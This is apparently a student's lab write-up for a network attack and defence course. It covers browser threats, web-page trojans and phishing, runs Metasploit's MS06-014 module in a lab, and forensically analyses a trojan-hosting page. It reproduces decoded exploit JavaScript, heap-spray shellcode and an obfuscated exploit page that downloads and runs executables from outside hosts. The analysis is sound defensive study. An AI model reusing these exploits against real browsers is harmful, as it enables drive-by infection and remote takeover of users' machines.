20222808郭锦城 2022-2023-2 《网络攻防实践》第11次作业

2022-2023-2 《网络攻防实践》第11次作业

1. 实验内容

1.1 Web浏览器的安全威胁

1.1.1 现代Web浏览器的基本结构与机理

现代Web浏览器由多个组件构成,包括渲染引擎、JavaScript引擎、插件等。它们共同实现了浏览器的基本功能和用户体验。
现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。下表显示了目前全球五个最主要的现代Web浏览器软件所采用的内核引繁与可扩展性机制情况,微软IE浏览器基于 Trident内核引擎(也被称为 MSHTML),在第一次浏览器战争过程中的1996年即采用了 Activex技术来支持第三方开发扩展插件,并沿用至今。Mozilla Firefox的内核引繁为 Gecko,通过XUL平台支持扩展插件开发。 Google Chrome和苹果的Safari都基于开源的 Webkit内核引擎, Opera基于的内核引擎为 Presto,这三款浏览器软件均于2010年才开始支持第三方扩展插件,Google Chrome可通过Xmlhttprequest和JSON机制来实现第三方扩展,而 Safari与 Opera则采用了标准化的 HTML5、CSS3与 Javascript支持第三方实现扩展插件。
在这里插入图片描述

1.1.2 Web浏览的安全问题与威胁

Web浏览器面临各种安全问题和威胁,如恶意软件、网络钓鱼、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等,这些威胁可能导致个人信息泄露、系统受损等风险。
Web浏览器软件的安全困境三要素:复杂性、可扩展性、连通性;
Web浏览安全威胁位置:

  • 针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁。
  • 针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。
  • 针对Web浏览器软件及插件程序的滲透攻击威胁:随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,在这背景下,针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行。
  • 针对互联网用户的社会工程学攻击威胁:恶意攻击会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击。

1.2 Web浏览端的渗透攻击威胁—网页木马

1.2.1 网页木马安全威胁的产生背景

网页木马是一种通过植入恶意代码到网页中的攻击方式,它可以用于窃取用户信息、远程控制系统等恶意活动。背后的原因包括技术进步和黑客的攻击动机。

1.2.2 网页木马的机理分析
1.2.2.1 网页木马的定义特性

网页木马是指隐藏在正常网页背后的恶意代码,它可以自动加载并在用户访问网页时执行恶意操作。它的特性包括隐蔽性、自动执行和远程控制等。

1.2.2.2 对网页木马机理的全方位分析与理解

网页木马利用浏览器的漏洞或安全机制的弱点,通过注入恶意代码、操纵DOM对象、执行恶意脚本等方式,实现对用户和系统的攻击。

1.2.2.3 网页挂马机制

网页挂马是指黑客通过篡改正常网页的方式,将恶意代码注入其中,使用户在访问网页时受到攻击。常见的网页挂马方式包括:

  • 内嵌HTML标签:第一类策略使用内嵌HTML标签,如iframe、frame等,将网页木马链接嵌入到网站首页或其他页面中;
  • 恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马;
  • 内嵌对象链接:第三类网页挂马策略利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载,这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传,从而造成这些网站特定页面被挂马危害的后果。
  • ARP欺骗挂马:arp漆面挂马不需要真正地攻陷目标网站,在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。
1.2.3.4 混淆机制
  • 将代码重新排版,去除缩进、空行、换行、注释等;
  • 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆;
  • 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数进行解密,再使用document.Write()或eval()进行动态输出或执行;
  • 利用字符串运算、数学运算或特殊函数混淆代码;
  • 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件。
1.2.3 网页木马的检测与分析技术
1.2.3.1 网页木马的检测技术

网页木马的检测技术包括基于特征、行为和机器学习等方法,通过分析网页的代码和行为来检测潜在的恶意代码。

1.2.3.2 网页木马的分析技术

网页木马的分析技术包括静态分析和动态分析两种方法,通过对网页的代码和执行过程进行分析,识别恶意行为和漏洞。

1.2.4 网页木马防范措施

防范网页木马的措施包括定期更新浏览器和插件、使用可信的网站和下载源、安装可靠的安全软件、注意点击链接和下载附件时的风险等。

1.3 解开网络钓鱼的黑幕

1.3.1 网络钓鱼技术概述
1.3.1.1 网络钓鱼攻击的起源与发展

网络钓鱼攻击是指通过伪装成合法实体欺骗用户,窃取用户敏感信息的攻击方式。它起源于互联网的发展,随着技术的进步逐渐演变和复杂化。

1.3.1.2 中国的网络钓鱼攻击

中国是网络钓鱼攻击的重要来源地,一些黑客组织和个人利用网络钓鱼攻击进行非法活动,给网络安全带来了严重威胁。2004年以来,出现了多次假冒银行、证券网站实施欺诈攻击的案例,著名的如“证券大盗”案件、假冒中国工商银行网站等。

1.3.2 网络钓鱼攻击的技术内幕

网络钓鱼攻击利用社会工程学原理和技术手段,通过伪装成可信实体的方式引诱用户点击恶意链接或提供敏感信息,从而实现信息窃取或系统入侵。普遍技术流程如下:

  • 攻击者扫描网段,寻找存有漏洞的服务器
  • 服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具
  • 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行
  • 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
  • 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
1.3.3 网络钓鱼攻击技术策略

网络钓鱼攻击是一种利用社会工程学原理和技术手段进行欺骗的攻击方式,旨在窃取用户的敏感信息或入侵系统。网络钓鱼攻击者使用各种策略来欺骗用户,让其相信他们是可信的实体,从而诱导用户点击恶意链接、提供敏感信息或执行恶意操作。以下是网络钓鱼攻击常见的技术策略:

  • 伪装邮件(Phishing Emails):攻击者通过伪装成合法机构或知名品牌的邮件,向用户发送包含欺骗性内容的电子邮件。邮件可能声称要求用户验证账户信息、重置密码或提供个人敏感信息。攻击者通常使用与真实邮件相似的标志、徽标和排版来误导受害者。
  • 仿冒网站(Spoofed Websites):攻击者创建与合法网站外观相似的虚假网站,通过类似的域名、页面设计和内容来欺骗用户。用户被引导访问这些仿冒网站后,攻击者会要求用户输入敏感信息,如登录凭据、信用卡号码等。
  • 社交工程(Social Engineering):网络钓鱼攻击者利用心理学和社交工程技巧,通过与用户建立信任关系、制造紧急情况或利用人们的好奇心来欺骗用户。攻击者可能冒充认识的人、同事或朋友发送信息,引导用户点击恶意链接或提供敏感信息。
  • 恶意链接(Malicious Links):攻击者通过电子邮件、社交媒体、聊天应用或论坛等渠道,发送包含恶意链接的消息。这些链接通常伪装成安全的、有吸引力的或紧急的内容,诱使用户点击并暴露于攻击之下。
  • 假冒应用(Fake Applications):攻击者开发伪装成合法应用的恶意应用程序,并将其发布到各种应用商店或通过欺骗用户的方式进行分发。用户下载和安装这些应用后,可能会泄露敏感信息、受到远程控制或感染恶意软件。
1.3.4 网络钓鱼攻击的防范

防范网络钓鱼攻击可以采取以下措施:

  • 提高安全意识:教育用户有关网络钓鱼攻击的基本知识,包括如何识别可疑的邮件、链接和网站。用户应该了解攻击者使用的常见伪装手法,如拼写错误、不寻常的域名或电子邮件地址等。
  • 谨慎点击链接:不轻信未知来源的链接,特别是在电子邮件、社交媒体和即时通讯应用中收到的链接。在点击链接之前,应仔细检查链接的真实性,可以将鼠标悬停在链接上查看目标网址是否与所声称的一致。
  • 注意提供个人信息:避免在不受信任的网站或通过不安全的通信渠道提供个人敏感信息。敏感信息包括用户名、密码、信用卡号码等。应该仔细检查网站的安全性标志(如HTTPS)和隐私政策。
  • 更新系统和应用程序:及时更新操作系统、浏览器和其他应用程序,以确保安全漏洞得到修补。自动更新功能可帮助及时获取最新的安全补丁。
  • 使用防钓鱼工具和软件:安装和更新可信的防病毒软件、反钓鱼工具和广告拦截器等。这些工具可以帮助识别和阻止潜在的网络钓鱼攻击。
  • 多因素身份验证:对于重要的在线账户,启用多因素身份验证,如短信验证码、身份验证应用程序或生物识别技术。这样即使密码被窃取,攻击者仍然无法访问您的账户。
  • 建立强密码:使用复杂、唯一且难以猜测的密码来保护您的账户。密码应该包含字母、数字和特殊字符,并定期更换密码。
  • 定期备份数据:定期备份重要的数据和文件,以防止数据丢失或被勒索软件攻击。
  • 及时报告可疑活动:如果遇到可疑的网络钓鱼攻击,应立即报告给相关的机构、网站或服务提供商。及时的报告可以帮助他们采取行动并警示其他用户。

2. 实验过程

2.1 web浏览器渗透攻击

在这里插入图片描述
本次实验用到的主机及ip如下图
在这里插入图片描述
在攻击机kali上使用Metasploit中的MS06-014挂马漏洞。在kali中打开msfconsole,搜索MS06-014漏洞。
在这里插入图片描述
使用上述module并查看需要设置的项。
在这里插入图片描述
设置攻击机地址set LHOST 192.168.200.2,设置payload set PAYLOAD windows/meterpreter/reverse_tcp 并进行攻击run。

在这里插入图片描述
得到有木马的网址http://192.168.200.2:8080/9OZC6q97HpsdPcD后,在靶机WinXP上访问该地址。
在这里插入图片描述
查看kali,发现没有成功建立会话。
在这里插入图片描述
使用靶机Win2k重复上述过程。
在这里插入图片描述
可以看到成功建立会话,攻击成功。
输入sessions查看目前的连接,接着输入sessions 1选择会话1(即刚才的会话),回到meterpreter。
在这里插入图片描述
输入ifconfig查看ip。
在这里插入图片描述

2.2 取证分析实践—网页木马攻击场景分析

在这里插入图片描述
首先用记事本打开start.htm,然后分析了一下,发现在该网页嵌入了一个内联框架,指向了一个网页new09.htm,且该内联框架高度宽度为0,不容易被发现.
在这里插入图片描述
指向new09.htm网页使用的是相对路径,说明new09.htm应该是跟start.html在同一个目录下,于是修改url,获取到new09.htm页面信息,分析,发现其通过内联框架指向了一个页面http://aa.18dd.net/aa/kl.htm,还使用script指向了另一个页面http://js.users.51.la/1299644.js。
在这里插入图片描述
对它们分别作 MD5 散列:
在这里插入图片描述
在hashed文件中找到对应的文件,用记事本打开。23180a42a2ff1192150231b44ffdf3d3中的内容如下,提示不是我们要找的内容。
在这里插入图片描述
打开另一个文件7f60672dcd6b5e90b6772545ee219bd3:
这是一种被称为 XXTEA+Base64 的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。在这里插入图片描述
xxtea_decrypt 函数的第二个参数 \x73\x63\x72\x69\x70\x74 就是密钥。
这里简单地使用了 16 进制加密。转换一下,密钥是“script”。

访问http://www.atoolbox.net/Tool.php?Id=1090输入秘钥密钥script,粘贴文件的全部内容,点“解密”,得到了十六进制加密文件。再对引号中的内容进行解密,得到如下结果,将结果保存:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

分析上面的代码,可以看出利用到的应用程序漏洞有

  • Adodb.Stream 微软数据库访问对象漏洞
  • MPS.StormPlayer 暴风影音漏洞
  • POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞
  • BaiduBar.Tool 百度搜霸漏洞

这个文件还引用三个js文件和一个压缩包(bd.cab,解开后是bd.exe)。
在这里插入图片描述
首先看5d7e9058a857aa2abee820d5473c5fa4 ,又是用16进制加密,解开得:
在这里插入图片描述
可以看出前面是下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面是对ADODB漏洞的继续利用。
接着打开3870c28cc279d457746b3796a262f166,使用packed加密,解密后:

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)


这里出现了关键字shellcode,是二进制的机器码,这个shellcode并不长,但它要实现很多破坏,不可能把所有的病毒都写在里面。因此它很可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的URL,我们可以找一找这加密的代码里有URL特征的字符串。

URL中必然出现斜线/, /的十六进制ASCII码是2f,在shellcode中找/共有六处,后四处比较可疑,因为两个2f比较密集。于是取从第三个2f开始到末尾的内容,解密结果是一个不完全的网址://down.18dd.net/bb/bf.exe,将它补充完整http://down.18dd.net/bb/bf.exe。
接着看5f0b8bf0385314dbe0e5ec95e6abedc2使用八进制加密,解密后:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + 
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a"; pps.Logo = buffer 

分析代码发现同样有shellcode,用相同的方法可以得到http://down.18dd.net/bb/pps.exe.
对前面出现的exe文件进行MD5散列:
在这里插入图片描述
目前得到了四个exe文件,即014.exe,bf.exe,pps.exe,bd.exe。可以发现这四个文件在资源管理器中大小相同。
在这里插入图片描述
在这里插入图片描述
使用PEiD查看可执行文件的加壳情况,发现是用 Delphi 写的
在这里插入图片描述
用 W32DAsm 反汇编这个 exe 文件,然后查看一下“串式参考”:
在这里插入图片描述
由字符串" goto try",“:try”,“Alletdel.bat”,"cmd /c date ",“cmd /c date 1981-01-12”,“del “”,“del %0”,“if exist”,猜测这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try”,批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件;

由":\AutoRun.inf",“[AutoRun] open=”,“AutoRun.inf”,“shell\Auto\command=”,猜测这个程序可能在磁盘根目录下生成自动运行的文件,以使得用户在不小心时启动程序;

由"advapi32.dll",“drivers/klif.sys”,“\program files\internet explorer\IEXPLORE.EXE”,“IE执行保护”,“IEXPLORE.EXE”,“Software\Microsoft\Windows\CurrentVersion\Poli”,“Kernel32.dll”,“SOFTWARE\Borland\Delphi\RTL”,“ChangeServiceConfig2A”,“ChangeServiceConfig2W”,“QueryServiceConfig2A”,“QueryServiceConfig2W"等可以猜测程序可能会 修改IE、注册表、服务和系统文件;
由"瑞星卡卡上网安全助手 - IE防漏墙”,“允许”,“允许执行”,可知这个程序有一定的防系统保护软件的能力;
由20个形如"http://down.18dd.net/kl/**.exe"的字符串猜测程序要下载一大堆木马
在这里插入图片描述

2.3 攻防对抗实践—web浏览器渗透攻击攻防

在这里插入图片描述
在实践一中已经得到了恶意url,右键查看源文件获取攻击页面的源代码,下载查看。发现对关键指令做了字符串拼接处理和使用了大量的空白和间隔,猜测是为了防止被杀毒软件查杀。将其中无效回车符和空格去除后:

<html>
<head>
<title></title>
<scriptlanguage="javascript">
Function TNnqPqFwATYGhAFN(o,n)
{
varr=null;
try
{
eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")
}catch(e){}
if(!r)
{
try
{
eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Cr"+"ea"+"teO"+"bj"+
"ect(n,'','')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"ject(n,'')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"ject(n)")
}catch(e){}
}
return(r);
}
Function MVPXzuoZeLqwiAgmYyyewEJvmOllm(a)
{
var s=TNnqPqFwATYGhAFN(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
var o=TNnqPqFwATYGhAFN(a,"A"+"DO"+"D"+"B.S"+"tr"+"eam");
var e=s.Environment("P"+"ro"+"ce"+"ss");
var url=document.location+'/p'+'ay'+'lo'+'ad';
var xml =null;
var bin=e.Item("T"+"E"+"M"+"P")+"\\LHEof"+".e"+"xe";
var dat; try
{ 
xml=new XMLHttpRequest();
}
catch(e)
{
try
{
xml = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e)
{
xml= new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xml)
{
return(0);
}
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;
o.Type=1;
o.Mode=3;
o.Open();
o.Write(dat);
o.SaveToFile(bin,2);
s.Run(bin,0);
}
function tVvSIcjfVnZffIabEspn()
{
var i=0;
var t=new Array('{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+''+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+
'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+''+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}'
,'{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+
'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null);
while(t[i])
{
Var a=null;
if(t[i].substring(0,1)=='{')
{
a=document.createElement("object");
a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));}
else{try{a=newActiveXObject(t[i]);}
catch(e){}}
if(a)
{
try
{
Var b=TNnqPqFwATYGhAFN(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
if(b)
{
MVPXzuoZeLqwiAgmYyyewEJvmOllm(a);
return(0);}
}catch(e){}}i++;}}
</script></head>
<body onload='tVvSIcjfVnZffIabEspn()'>YyswB
</body></html>

分析代码可以看到,js调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件EbVgvmDtFS.exe,这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是不一样的。
在这里插入图片描述

打开靶机任务管理器查看正在运行的程序进行验证。发现了在网页源码中出现的可执行文件,其作用就是帮助攻击机获取靶机控制权限。
在这里插入图片描述
BD96C556-65A3-11D0-983A-00C04FC29E33是漏洞MS06-014中的clsid变量,也就证明这是MS06-014漏洞。
在这里插入图片描述

3.学习中遇到的问题及解决

Q1:第二个实验中需要进行多次不同的加解密,需要很多工具
A1:找到一个集成了很多工具的网站:http://www.atoolbox.net/
Q2:cab文件一开始不会解压
A2:使用命令expand

4.实验总结

第二个实验相当复杂,做的磕磕绊绊,一方面是流程比较长、涉及的文件比较多,另一方面是因为对代码的分析不熟悉,不能很快地提取到关键信息。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值